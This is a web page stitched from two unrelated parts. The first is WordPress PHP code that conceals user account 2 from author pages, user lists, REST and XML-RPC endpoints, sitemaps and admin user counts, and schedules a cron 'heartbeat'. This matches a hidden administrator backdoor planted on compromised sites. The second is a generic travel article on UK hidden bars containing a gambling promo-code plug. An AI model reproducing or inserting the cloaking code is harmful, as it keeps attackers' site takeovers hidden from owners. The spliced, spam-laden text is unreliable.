add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Hidden bars rarely open with a sign. Most require a password or a specific cue. In Edinburgh, the bar in the back of a florist shop opens only when you ask for the “rose cocktail.” In Birmingham, you need to knock three times on the brick wall of a café and say, “I’d like a nightcap.” Make a note of these rules; missing a password can mean a wasted night.
Do a quick walk‑in before you order a drink. The lighting should be low but not pitch black. The décor often mixes vintage and modern elements—think reclaimed wood tables paired with neon signs. In Glasgow, the bar behind a laundromat features a wall of reclaimed vinyl records that double as a jukebox. In Bristol, a speakeasy hidden in a basement of a bakery has a 1920s jazz playlist that plays through a hidden speaker system. If the vibe feels off, you’re probably in the wrong spot.
When you order, ask for the bartender’s recommendation. They’ll often know which drink is best for the night’s mood.
Hidden bars can be as elusive as they are alluring. If you’re staying late, note the nearest public transport or a cab stand. In London, the nearest tube stop is Piccadilly Circus, just a 5‑minute walk. In Manchester, the closest train station is Piccadilly, within a 10‑minute stroll. If you’re unsure, ask the bartender for the nearest safe exit; most hidden spots have a discreet door leading to a quiet alley.
Many bars market themselves with “hidden” in the title, but the real secret is in the details. A bar named Hidden Treasures in Liverpool may be a regular pub with a small back room. The true hidden gems are the ones that require a password or a specific location cue. Don’t waste time on the obvious; dig a little deeper.
While you’re exploring these secret spots, you might find yourself craving a different kind of thrill—perhaps a night of online gaming or a new way to unwind. If that’s the case, you can try a winbeast promo code for a fresh experience that’s just as exciting as a hidden bar.
Exploring the UK’s best hidden bars is less about the drinks and more about the adventure. By mapping the city’s quiet corners, verifying entry rules, checking the atmosphere, sampling signature drinks, and planning your exit, you’ll turn a simple night out into a memorable escapade. Remember, the real charm lies in the details—so keep your eyes peeled for the subtle clues that lead to the next great cocktail.
Start by scanning local hashtags on Instagram and look for spots tucked behind everyday storefronts.
It’s often concealed behind a shopfront, laundromat, or a nondescript wall, making it easy to miss at first glance.
Most reputable hidden bars are licensed; just ensure you’re in a safe area and keep an eye on your surroundings.